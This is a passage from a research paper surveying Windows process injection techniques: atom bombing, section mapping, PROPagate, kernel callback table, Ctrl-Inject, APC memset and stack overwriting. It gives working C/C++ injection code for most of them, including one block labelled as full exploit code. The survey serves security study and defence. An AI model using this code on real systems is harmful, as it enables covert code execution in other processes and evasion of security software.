primitive (VirtualQueryEx+ReadProcessMemory). Only need to look at RW sections of 

type MEM_MAPPED, whose size is identical to the size provided in (a).  

Code: 

 HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name);               
 BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size); 
 memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload)); 
 HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 
process_id); 
 char* read_buf = new char[sizeof(payload)]; 
 SIZE_T region_size; 
 for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size) 
 { 
  MEMORY_BASIC_INFORMATION mem; 
  SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem, 
sizeof(mem)); 
  if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect 
== PAGE_READWRITE) && (mem.RegionSize == section_size)) 
  { 
   ReadProcessMemory(h, (LPCVOID)(address+section_size-
sizeof(payload)), read_buf, sizeof(payload), NULL); 
   if (memcmp(read_buf, payload, sizeof(payload)) == 0) 
   { 
    // the payload is at address + section_size - sizeof(payload); 
    … 
    break; 
   } 
  } 
  region_size = mem.RegionSize; 
 } 

 

Evaluation: 

o Prerequisites: process must use RW shared memory section 

o Limitations: none 

o CFG/CIG-readiness: not affected 



o Controlled vs. uncontrolled write address: data will be written to a non-controlled 

address (e.g. can’t write to stack) 

o Stability: may be problematic if the entire section is used (SuspendProcess may be 

required) 

 

11. Window extension (Desktop Heap) write primitive (2015) 

Encountered in the wild (PowerLoaderEx - https://www.slideshare.net/enSilo/injection-on-

steroids-codeless-code-injection-and-0day-techniques) 

The concept is based on the Desktop Heap being shared (in user space) among all processes in 

the same Windows desktop. Therefore, “writing” arbitrary data to the Desktop heap in the 

injector process (by defining a window class with cbWndExtra>0 and using SetWindowsLongPtr 

to write there) results in the data appearing in the memory space of the target process 

(allegedly in fixed offset w.r.t. the Desktop Heap memory region base address). Finding the 

Desktop Heap in the target process is allegedly a matter of finding a memory region (using 

VirtualQueryEx) satisfying some conditions. EnSilo provides a PoC at 

https://github.com/BreakingMalware/PowerLoaderEx/blob/master/PowerLoaderEx.cpp. It 

seems that with Windows 10 64-bit (at least in build 1809), changes were made to the Desktop 

Heap implementation. Apparently, A process’s user space memory no longer contains the 

objects from other processes, thus rendering the technique ineffective. 

Bottom line: doesn’t work on Windows 10 (at least on build 1809) 

 

12. Atom bombing write primitive (2016) 

Invented by Tal Liberman, Ensilo (https://blog.ensilo.com/atombombing-brand-new-code-

injection-for-windows).  

a. Split the payload into NUL-terminated strings 

b. Create an Atom for each one (GlobalAddAtom). Note: Atom cannot represent a 0-length 

string 

c. Copy the strings to the target process memory using NtQueueApcThread(thread, 

GlobalGetAtomName, atom,target_address,size).  

Our code handles the problem of consecutive NUL bytes by creating the sequence backwards 

using an auxiliary atom of a single arbitrary non-NUL byte. Note that NUL bytes are created first, 

and only then the non-NUL bytes are added. 

If the payload starts with a NUL byte, it is still possible to write it by artificially prepending it with 

at least one non-NUL byte (not shown in the code) 

NOTE: the original atom bombing PoC did not directly address the issue of consecutive NUL 

bytes. Instead, it assumed that the target memory is 0-filled (which is indeed the case for the 

.data slack used by the original PoC).   

The code below ignores the issue of maximum atom length (RTL_MAXIMUM_ATOM_LENGTH – 

probably 255). Longer payloads need to be broken into chunks of up to 255 bytes. 

Code: 

https://www.slideshare.net/enSilo/injection-on-steroids-codeless-code-injection-and-0day-techniques
https://www.slideshare.net/enSilo/injection-on-steroids-codeless-code-injection-and-0day-techniques
https://github.com/BreakingMalware/PowerLoaderEx/blob/master/PowerLoaderEx.cpp
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HANDLE th = OpenThread(THREAD_SET_CONTEXT| THREAD_QUERY_INFORMATION, FALSE, 
thread_id); 
  

ATOM aux = GlobalAddAtomA("b"); // arbitrary one char string 
 if (target_payload[0] == '\0') 
 { 
  printf("Invalid payload (starts with NUL)\n"); 
  exit(0); 
 } 
 for (DWORD64 pos = sizeof(target_payload) - 1; pos > 0; pos--) 
 { 
  if ((payload[pos] == '\0') && (payload[pos - 1] == '\0')) 
  { 
   ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)aux, 
(PVOID)(((DWORD64)target_payload) + pos-1), (PVOID)2); 
  } 
 } 
 

for (char* pos = payload; pos < (payload + sizeof(payload)); pos += strlen(pos)+1) 
 { 
  if (*pos == '\0') 
  { 
   continue; 
  } 
  ATOM a = GlobalAddAtomA(pos); 
  DWORD64 offset = pos - payload; 
  ntdll!NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a, 
(PVOID)(((DWORD64)target_payload) + offset), (PVOID)(strlen(pos)+1)); 
 } 

 

Evaluation: 

o Prerequisites: process must have a thread in alertable state 

o Limitations: none 

o CFG/CIG-readiness: not affected 

o Controlled vs. uncontrolled write address: address is fully controlled 

o Stability: good 

 

13. Forcibly map a section (NtMapViewOfSection) write primitive (2017) 

Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps-

unconventional-process-injection-technique/), though used (slightly differently) for process 

hollowing earlier.  

a. Create a file mapping using CreateFileMapping, mapped to the system pagefile.  

b. MapViewOfFile to map it to injector process memory 

c. Copy data to the section’s mapped memory 

d. NtMapViewOfSection to the target process (automatically allocates memory in the 

target process if base_address==NULL) 

 

Code: 

https://securityintelligence.com/diving-into-zberps-unconventional-process-injection-technique/
https://securityintelligence.com/diving-into-zberps-unconventional-process-injection-technique/


HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 
0, sizeof(payload), NULL); 
 LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0); 
 HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, 
process_id); 
 memcpy(map_addr, payload, sizeof(payload));  
 LPVOID requested_target_payload=0; 
 SIZE_T view_size=0; 
 ntdll!NtMapViewOfSection(fm, p, &requested_target_payload, 0, sizeof(payload), 
NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE ); 

target_payload=requested_target_payload; 

 

Evaluation: 

o Prerequisites: none 

o Limitations: cannot write to allocated memory 

o CFG/CIG-readiness: not affected 

o Controlled vs. uncontrolled write address: address is fully controlled, but cannot be used 

to write to an allocated memory. So it’s better to let Windows choose the address. 

o Stability: good 

 

14. Unmap+Overwrite  execution method (2017) 

Encountered in the wild (Zberp - https://securityintelligence.com/diving-into-zberps-

unconventional-process-injection-technique/), though used (slightly differently) for process 

hollowing earlier.  

a. NtUnmapViewOfSection for ntdll in the target process 

b. Use any write primitive to allocate and write your own ntdll in its original address in the 

target process (with at least read+execute permissions, and CFG-allowed).  

 

Execution code only (unstable): 

 MODULEINFO ntdll_info; 
 HANDLE ntdll= GetModuleHandleA("ntdll"); 
 GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info, 
sizeof(ntdll_info)); 

HANDLE p = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id); 
ntdll!NtUnmapViewOfSection(p, ntdll); 
// Use write primitive to allocate ntdll_info.SizeOfImage bytes at address ntdll 

in the target process,  
// and write the patched ntdll code there. 

 

Evaluation: 

• Prerequisites: target memory must be RX (at least) 

• Limitations: none 

• CFG/CIG-readiness: not affected. 

• Control over registers: no 

• Stability: code should take care to retain the state of the module’s static variables (it’s 

impossible to unmap partial module memory), and flush the instruction cache. This 

https://securityintelligence.com/diving-into-zberps-unconventional-process-injection-technique/
https://securityintelligence.com/diving-into-zberps-unconventional-process-injection-technique/


needs to be done while the target process is suspended. This requires a memory read 

primitive (e.g. ReadProcessMemory), and process suspend+resume. 

• Cleanup required: none 

 

A full exploit code (including stability logic and payload writing): 

 MODULEINFO ntdll_info; 
 HANDLE ntdll= GetModuleHandleA("ntdll"); 
 GetModuleInformation(GetCurrentProcess(), ntdll , &ntdll_info, 
sizeof(ntdll_info)); 

HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 
0, ntdll_info.SizeOfImage, NULL); 
 LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0); 
 HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION | 
PROCESS_SUSPEND_RESUME, FALSE, process_id); 
 ntdll!NtSuspendProcess(p); 
 ReadProcessMemory(p, ntdll, map_addr, ntdll_info.SizeOfImage, NULL);  
 // Patch NtClose in map_addr 
 // … 
 ntdll!NtUnmapViewOfSection(p, ntdll); 
 SIZE_T view_size=0; 

ntdll!NtMapViewOfSection(fm, p, &ntdll, 0, ntdll_info.SizeOfImage, NULL, 
&view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE ); 

FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage); 

ntdll!NtResumeProcess(p); 

 

15. PROPagate execution method (2017) 

Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-

code-injection-trick/). 

Hat tip to Csaba Fitzl (“theevilbit”) who wrote the implementation upon which our code is based 

(https://github.com/theevilbit/injection/tree/master/PROPagate). 

a. Write the payload to the target process memory space using any write primitive available 

e.g. VirtualAllocEx and WriteProcessMemory (not shown). 

b. Find a subclassed window in the target process and obtain its UxSubclassInfo property 

(pointer to a structure) 

c. Read the structure from the target process memory (using any read primitive available, e.g. 

ReadProcessMemory) 

d. Clone the structure locally and set its virtual function to point at the payload address in the 

target memory 

e. Write the new structure to the target process memory (arbitrary location) using any write 

primitive available (e.g. VirtualAllocEx+WriteProcessMemory).  

f. Set the UxSubclassInfo property of the window to point at the new structure,  

g. Trigger execution by sending a message to the window. 

Code (tailored for Explorer.exe): 

 HWND h = FindWindow("Shell_TrayWnd", NULL); 
 DWORD process_id; 

http://www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/
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 GetWindowThreadProcessId(h, &process_id); 
 HWND hst = GetDlgItem(h, 303); // System Tray 
 HWND hc = GetDlgItem(hst, 1504); 
 HANDLE p = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id); 
 char new_subclass[0x50]; 
 HANDLE target_new_subclass = (HANDLE)VirtualAllocEx(p, NULL, sizeof(new_subclass), 
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 
 HANDLE old_subclass = GetProp(hc, "UxSubclassInfo"); //handle is the memory 
address of the current subclass structure 
 ReadProcessMemory(p, (LPCVOID)old_subclass, (LPVOID)new_subclass, 
sizeof(new_subclass), NULL); 
 DWORD64 target_execution_ptr_value=target_execution; 
 memcpy(new_subclass + 0x18, &target_execution_ptr_value, 
sizeof(target_execution_ptr_value)); 
 WriteProcessMemory(p, (LPVOID)(target_new_subclass), (LPVOID)new_subclass, 
sizeof(new_subclass), NULL); // Or any other write memory primitive 
 SetProp(hc, "UxSubclassInfo", target_new_subclass); 
 PostMessage(hc, WM_KEYDOWN, VK_NUMPAD1, 0); 
 Sleep(1); // YMMV 
 SetProp(hc, "UxSubclassInfo", old_subclass); 

 

Evaluation: 

o Prerequisites: A window belonging to the target process, that is subclassed. Specifically, 

one of Explorer’s System Tray sub-windows is subclassed. Target address must be RX (at 

least) 

o Limitations: none 

o CFG/CIG-readiness: the target execution address must be CFG-valid. 

o Control over registers: none 

o Cleanup required: yes. The original subclass structure needs to be restored. 

 

16. KernelControlTable execution method (FinFisher/FinSpy 2018) 

Observed in the wild, in FinFisher/FinSpy 

(https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-

defeating-traps-tricks-and-complex-virtual-machines/). Works only with processes that own a 

window. Odzhan provides a nice PoC (https://github.com/odzhan/injection/tree/master/kct) on 

which our code is based. 

a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory. 

b. Obtain PEB address of target process using NtQueryInformationProcess, read it to find 

the location of the kernel callback table and read it. 

c. Write a new kernel callback table with the address of __fnCOPYDATA modified to point 

at the target code. 

d. Trigger the target code by sending WM_COPYDATA message to a window owned by the 

target process. 

 HANDLE p = OpenProcess(PROCESS_QUERY_INFORMATION| PROCESS_VM_OPERATION| 
PROCESS_VM_READ| PROCESS_VM_WRITE, FALSE, process_id); 
 PROCESS_BASIC_INFORMATION pbi; 
 ntdll!NtQueryInformationProcess(p,ProcessBasicInformation, &pbi, sizeof(pbi), 
NULL); 
 PEB peb; 

https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/
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 ReadProcessMemory(p, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); 
 KERNELCALLBACKTABLE kct; 
 ReadProcessMemory(p, peb.KernelCallbackTable, &kct, sizeof(kct), NULL); 
 LPVOID target_payload = VirtualAllocEx(p, NULL, sizeof(payload),MEM_RESERVE | 
MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
 WriteProcessMemory(p, target_payload, payload, sizeof(payload), NULL); 
 LPVOID target_kct = VirtualAllocEx(p, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, 
PAGE_READWRITE); 
 kct.__fnCOPYDATA = (ULONG_PTR)target_payload; 
 WriteProcessMemory(p, target_kct, &kct, sizeof(kct), NULL); 
 WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, 
KernelCallbackTable), &target_kct, sizeof(ULONG_PTR), NULL); 
 COPYDATASTRUCT cds; 
 cds.dwData = 1; 
 wchar_t msg[] = L"foo"; 
 cds.cbData = lstrlenW(msg) * 2; 
 cds.lpData = msg; 
 SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds); // hw can be obtained via 
e.g. EnumWindows 
 // Cleanup 
 WriteProcessMemory(p, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, 
KernelCallbackTable), &peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL); 

 

Evaluation: 

o Prerequisites: The target process must own a window. The target address must be RX 

(at least) 

o Limitations: none 

o CFG/CIG-readiness: the target execution address must be CFG-valid. 

o Control over registers: none 

o Cleanup required: yes. The original kernel callback table must be restored. 

 

17. Ctrl-Inject execution method (2018) 

Invented by Rotem Kerner, EnSilo (https://blog.ensilo.com/ctrl-inject). 

Works only on console applications. 

a. Write code/data using e.g. VirtualAllocEx and WriteProcessMemory (not shown) 

b. Use RtlEncodeRemotePointer(process_handle, ptr, &encoded_ptr) to get encoded 

pointer for the payload (or the ROP gadget) 

c. Write the encoded ptr to kernelbase!SingleHandler using e.g. WriteProcessMemory.  

d. Trigger execution by simulating Ctrl-C (SendInput for Ctrl, followed by 

PostMessage(handle to window,WM_KEYDOWN,’C’,0) for ‘C’). 

 HANDLE h = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, 
process_id); // PROCESS_VM_OPERATION is required for RtlEncodeRemotePointer 
 void* encoded_addr = NULL; 
 ntdll!RtlEncodeRemotePointer(h, target_execution, &encoded_addr); 
 // Use any Memory Write Primitive here… 
 WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL); 
 
 INPUT ip; 
 ip.type = INPUT_KEYBOARD; 
 ip.ki.wScan = 0; 

https://blog.ensilo.com/ctrl-inject


 ip.ki.time = 0; 
 ip.ki.dwExtraInfo = 0; 
 ip.ki.wVk = VK_CONTROL; 
 ip.ki.dwFlags = 0; // 0 for key press 
 SendInput(1, &ip, sizeof(INPUT)); 
 Sleep(100); 
 PostMessageA(hWindow, WM_KEYDOWN, 'C', 0); // hWindow is a handle to the 
application window 
 

 

Evaluation: 

o Prerequisites: Console application, Target address must be RX (at least) 

o Limitations: none 

o CFG/CIG-readiness: the target execution address must be CFG-valid. 

o Control over registers: none 

o Cleanup required: yes. The original Ctrl-C handler must be restored, also the key pressed 

must be released… 

Cleanup code: 
 // release the Ctrl key 
 Sleep(100); 
 ip.type = INPUT_KEYBOARD; 
 ip.ki.wScan = 0; 
 ip.ki.time = 0; 
 ip.ki.dwExtraInfo = 0; 
 ip.ki.wVk = VK_CONTROL; 
 ip.ki.dwFlags = KEYEVENTF_KEYUP;  
 SendInput(1, &ip, sizeof(INPUT)); 
 
 // Restore the original Ctrl handler in the target process 
 ntdll!RtlEncodeRemotePointer(h, kernelbase!DefaultHandler, &encoded_addr); 
 // Use any Memory Write Primitive here… 
 WriteProcessMemory(h, kernelbase!SingleHandler, &encoded_addr, 8, NULL); 

 

18. Service Control Handler execution method (2018) 

Invented by Odzhan (https://modexp.wordpress.com/2018/08/30/windows-process-injection-

control-handler/). Limited to services, and quite complicated. In essence, it overwrites an 

internal service structure (IDE) in the target service process (the attacker needs to first find the 

IDE in the process memory, apparently there’s not elegant way of doing it other than going over 

all RW sections of the target process memory and searching for the IDE structure) using any 

write primitive. The PoC is too long to provide here (it can be found in our git repository). It is 

based on https://github.com/odzhan/injection/tree/master/svcctrl. 

 

19. Message passing write primitive (2018) 

Odzhan discusses the possibility of writing to a process using message passing APIs 

(https://modexp.wordpress.com/2018/07/15/process-injection-sharing-payload/). He toyed 

with using WM_COPYDATA message (sent via SendMessage/PostMessage) and discovered that 

the data wound up on the stack of the listening thread. However, this is not a stable condition 

and as such cannot be used for reliable exploitation. 

https://modexp.wordpress.com/2018/08/30/windows-process-injection-control-handler/
https://modexp.wordpress.com/2018/08/30/windows-process-injection-control-handler/
https://github.com/odzhan/injection/tree/master/svcctrl
https://modexp.wordpress.com/2018/07/15/process-injection-sharing-payload/


 

20. USERDATA execution method (2018) 

Invented by Odzhan (https://modexp.wordpress.com/2018/09/12/process-injection-user-

data/). Injects into the conhost.exe process associated with a desktop application. Our PoC is 

based on Odzhan’s code (https://github.com/odzhan/injection/tree/master/conhost).  

a. Write code/data using e.g. using VirtualAllocEx and WriteProcessMemory. 

b. Get the pointer to the user data virtual table using GetWindowLongPtr(…, 

GWLP_USERDATA) 

c. Read the virtual table 

d. Read the console dispatch table 

e. Make a copy of the dispatch table in memory, with a modified pointer for 

GetWindowHandle pointing at a target code 

f. Trigger the target code using SendMessage(…, WM_SETFOCUS, …) 

g. Restore the pointer to the original dispatch table. 

 

Code: 

 DWORD conhost_id = conhostId(process_id); 
 HANDLE hp = OpenProcess(PROCESS_VM_READ|PROCESS_VM_WRITE | PROCESS_VM_OPERATION, 
FALSE, conhost_id); 
 LPVOID target_payload = VirtualAllocEx(hp, NULL, sizeof(payload), MEM_COMMIT | 
MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
 WriteProcessMemory(hp, target_payload, payload, sizeof(payload), NULL); 
 LONG_PTR udptr = GetWindowLongPtr(hWindow, GWLP_USERDATA); 
 ULONG_PTR vTable; 
 ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), NULL); 
 ConsoleWindow cw; 
 ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), NULL); 
 LPVOID target_cw = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT | 
MEM_RESERVE, PAGE_READWRITE); 
 cw.GetWindowHandle = (ULONG_PTR)target_payload; 
 WriteProcessMemory(hp, target_cw, &cw, sizeof(ConsoleWindow), NULL); 
 WriteProcessMemory(hp, (LPVOID)udptr, &target_cw, sizeof(ULONG_PTR), NULL); 
 SendMessage(hWindow, WM_SETFOCUS, 0, 0); 
 WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), NULL); 

 

NOTE: the process_id provided must have conshot.exe as its child (so when the application is 

run from a command line, process_id must belong to the cmd.exe process). hWindow is a 

window belonging to the process whose ID is process_id.  

 

Evaluation: 

o Prerequisites: Console application, Target address must be RX (at least) 

o Limitations: none 

o CFG/CIG-readiness: the target execution address must be CFG-valid. 

o Control over registers: none 

o Cleanup required: yes. The original virtual table needs to be restored. 

 

 

https://modexp.wordpress.com/2018/09/12/process-injection-user-data/
https://modexp.wordpress.com/2018/09/12/process-injection-user-data/
https://github.com/odzhan/injection/tree/master/conhost


21. ALPC execution method (2019) 

Invented by Odzhan (https://modexp.wordpress.com/2019/03/07/process-injection-print-

spooler/). Limited to processes that have ALPC ports. The PoC is too long to provide here (it can 

be found in our git repository), it is based on the code snippets in the blog post, as well as on 

https://github.com/odzhan/injection/tree/master/spooler.  

a. Search for an (undocumented) ALPC control data structure that contains a callback. 

b. Memory writing primitive is used to overwrite the callback address 

c. The injecting process enumerates over all ports and attempts to connect to each one in 

order to trigger the callback.  

 

NOTE: in Windows 10 version 1903 the ALPC port is 46 (as opposed to 45 in earlier versions). 

 

Evaluation:  

 

o Prerequisites: process uses ALPC ports, target address must be RX (at least) 

o Limitations: none 

o CFG/CIG-readiness: the target execution address must be CFG-valid. 

o Control over registers: none 

o Cleanup required: yes. The original callback needs to be restored. 

 

22. CLIPBRDWNDCLASS execution method (2019) 

Hypothesized by Adam, Hexacorn (https://modexp.wordpress.com/2019/05/24/4066/) in 2018, 

and implemented by Odzhan (https://modexp.wordpress.com/2019/05/24/4066/) in 2019. 

Limited to processes that have private clipboard windows. This is somewhat unreliable, since 

some processes like Explorer may or may not have a private window throughout their lifetime.  

The technique uses SetProp to set the clipboard window property ClipboardDataObjectInterface 

to an object (IUnknown) whose Release virtual function points at the target code. Then 

execution is triggered by posting a message of type WM_DESTROYCLIPBOARD to the clipboard 

window (which eventually invokes the Release function of the object). 

Bottom line: not a reliable execution technique (requires private clipboard window). 

 

23. DnsQuery_A Callback execution method (2019) 

Invented by Adam, Hexacorn (http://www.hexacorn.com/blog/2019/06/12/code-execution-via-

surgical-callback-overwrites-e-g-dns-memory-functions/). Limited to processes that require DNS 

resolution (i.e. invoke DnsQuery). DnsQuery invokes DnsApi!pDnsAllocFunction (function 

pointer) to allocate memory, so modifying this pointer to point at a target code/function yields 

execution. The execution technique is implemented in 3 steps: (a) find the address of the DnsApi 

module in the target process; (b) overwrite its pDnsAllocFunction (a known offset from the 

beginning of DnsApi) with the pointer of target code; (c) Trigger DnsQuery_A in the target 

process. Unfortunately, step (c) is not easily achieved, therefore this technique is not too 

reliable. 

Bottom line: not a reliable execution technique (as it requires triggering DnsQuery_A). 

 

https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/
https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/
https://github.com/odzhan/injection/tree/master/spooler
https://modexp.wordpress.com/2019/05/24/4066/
https://modexp.wordpress.com/2019/05/24/4066/
http://www.hexacorn.com/blog/2019/06/12/code-execution-via-surgical-callback-overwrites-e-g-dns-memory-functions/
http://www.hexacorn.com/blog/2019/06/12/code-execution-via-surgical-callback-overwrites-e-g-dns-memory-functions/


24. WNF (Windows Notification Facility) execution method (2019) 

Invented by Odzhan (https://modexp.wordpress.com/2019/06/15/4083/). Limited to processes 

that use WNF (this is probably quite rare, so far we’ve only found one such process – 

explorer.exe). The code itself is too long to be included here (it can be found in our git 

repository). 

a. Search for the “master” WNF subscription table 

b. Traverse a linked-list of name entries to find the entry matching a specific notification 

name (WNF_SHEL_APPLICATION_STARTED) 

c. Locate the user subscription entry from that entry. The user subscription entry contains 

a callback. This callback is overwritten with an attacker-provided pointer to code 

d. Trigger the notification using NtUpdateWnfStateData. 

NOTE: we improved on the original implementation by finding the WNF subscription table via 

references in the NTDLL code.  

 

25. memset/memmove write primitive (NEW! 2019) 

Invented by Amit Klein, Itzik Kotler, Safebreach. Requires an alertable thread. 

a. Execute memset (using NtQueueApcThread) to write a single byte to the target process. 

b. Repeat (a) until all bytes are written. 

c. If needed, copy the data atomically (via NtQueueApcThread  invoking memmove) 

HANDLE ntdll= GetModuleHandleA("ntdll"); 
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id); 

  
 for (int i = 0; i < sizeof(payload); i++) 
 { 
  ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), 
(void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1); 
 } 

// Can finish with the “atomic” ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, 
"memmove"), (void*)target_payload_final,  

//                                                     (void*)target_payload, 
sizeof(payload)); 

 

Evaluation: 

o Prerequisites: Thread must be in alertable state 

o Limitations: none 

o CFG/CIG-readiness: not affected 

o Controlled vs. uncontrolled write address: address is fully controlled 

o Stability: good 

  

26. “StackBomber” write primitive and execution method (NEW! 2019) 

Invented by Amit Klein, Itzik Kotler, Safebreach. NOTE: Yuki Chen anticipated stack overwrite as 

an execution method in 2015 (https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-

Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf), but he did not elaborate or 

demonstrate, also he did not describe how to find and overwrite TOS safely, such that control is 

passed to the payload without crashing the original function first. 

https://modexp.wordpress.com/2019/06/15/4083/
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf


Naïve (and using memset/APC as a writing technique):  

a. Read RSP via GetThreadContext 

b. Override stack data with new stack, via NtQueueUserAPC(ntdll!memset, thread, 

destination,byte,1). Specifically, the return address stored on the stack is overwritten. 

Execution will commence once the alertable function returns. 

Note that the 5 alertable functions call NtXXX functions which are simple wrappers around 

SYSCALL (SleepEx -> NtDelayExecution, WaitForSingleObjectEx -> NtWaitForSingleObject, 

WaitForMultipleObjectsEx -> NtWaitForMultipleObjects, SignalObjectAndWait -> 

NtSignalAndWaitForSingleObject, RealMsgWaitForMultipleObjectsEx -> 

NtUserMsgWaitForMultipleObjectsEx). These five NtXXX functions use the following template: 

mov r10,rcx 

mov eax,SERVICE_DESCRIPTOR 

test byte ptr [SharedUserData+0x308],1 

jne +3 

syscall 

ret 

int 2E 

ret 

So these functions don’t use the stack, therefore RSP ==TOS contains the return address, hence 

we know exactly where to place the ROP chain.  

We can generalize this – knowing RIP usually allows us to determine where the return address 

is, relative to RSP. The above case becomes a special case wherein the return address offset 

relative to RSP is 0 (when RIP is NtXXX+0x14 for the five NtXXX functions named above).  

 

Naïve code: 

HANDLE ntdll= GetModuleHandleA("ntdll"); 
HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | 

THREAD_SUSPEND_RESUME, FALSE, thread_id); 
 SuspendThread(t); 
 CONTEXT ctx; 
 ctx.ContextFlags = CONTEXT_ALL; 
 GetThreadContext(t, &ctx); 
 DWORD64 tos = (DWORD64)ctx.Rsp; 
 
 for (int i = 0; i < sizeof(ROP_chain); i++) 
 { 
  ntdll!NtQueueApcThread(t, GetProcAddress(ntdll, "memset"), (void*)(tos+i), 
(void*)*(((BYTE*)ROP_chain)+i), 1); 
 } 

ResumeThread(t); 

  

Of course, this technique ruins the current stack, so there’s no way to resume the original 

thread flow. There are several alternatives:  



• Backup the current stack first (using memmove), then restore it and the registers. Note: 

in order to accommodate the backup stack, the stack can be grown by writing a dummy 

value every 4KB (allocating a new page each time). 

• Alternatively, the stack can be read by the injector process, using a memory read 

primitive (e.g. ReadProcessMemory), and embedded in the payload. 

• Pivot to a new memory immediately – this ruins only the return address, and another 

QWORD above it (which is anyway reserved for the leaf function and unused by the 5 

leaf functions mentioned above, hence can be safely overwritten with no need for 

restoration). The payload needs to restore RSP and the return address (only).  

As for restoring registers, the 5 leaf functions do not rely on volatile registers when transferring 

control to the kernel, and thus it is safe to modify the volatile registers, but the non-volatile 

registers must be restored. Keep in mind that calling other (system) functions from the payload 

does not modify the non-volatile registers since they are restored before control is returned to 

the main payload. Thus, if the payload is written to only use volatile registers, it will be safe 

(with no need to restore registers). 

A safe version (including clean-up): 

 

 // payload mustn’t modify non-volatile registers, must copy the saved return 
address to the original tos location (e.g. using memmove)  

// and must restore rsp and control when it’s done, e.g. using GADGET_pivot. 
HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | 

THREAD_SUSPEND_RESUME, FALSE, thread_id); 
 SuspendThread(t); 
 CONTEXT context; 
 context.ContextFlags = CONTEXT_ALL; 
 GetThreadContext(t, &context) 
 DWORD64 orig_tos = (DWORD64)context.Rsp; 
 DWORD64 tos = orig_tos-0x2000; // 0x2000 experimentally works… 
 
 // Grow the stack to accommodate the new stack 
 for (DWORD64 i = orig_tos - 0x1000; i >= tos; i -= 0x1000) 
 { 
  (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(i), 
(void*)0, 1); 
 } 
 
 // Write the new stack 
 payload[saved_tos]=orig_tos; 
 for (int i = 0; i < sizeof(payload); i++) 
 { 
  (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(tos + i), 
(void*)*(((BYTE*)payload) + i), 1); 
 } 
 // Save the original return address into the new stack 
 (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memmove"), 
(void*)(payload[saved_return_address]), (void*)orig_tos, 8); 
 
 // overwrite the original return address with GADGET_pivot 
 for (int i = 0; i < sizeof(tos); i++) 
 { 



  (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos + 
i), (void*)(((BYTE*)&GADGET_pivot)[i]), 1); 
 } 
 
 // overwrite the original tos+8 with the new tos address (we don't need to restore 
this since it's shadow stack and not used by the leaf function!) 
 for (int i = 0; i < sizeof(tos); i++) 
 { 
  (*NtQueueApcThread)(t, GetProcAddress(ntdll, "memset"), (void*)(orig_tos + 
8 + i), (void*)(((BYTE*)&tos)[i]), 1); 
 } 
 
 ResumeThread(t); 

 

Evaluation: 

• Prerequisites: Thread must be in alertable state. Target address must be RX (at least) 

• Limitations: none 

• CFG/CIG-readiness: not affected. 

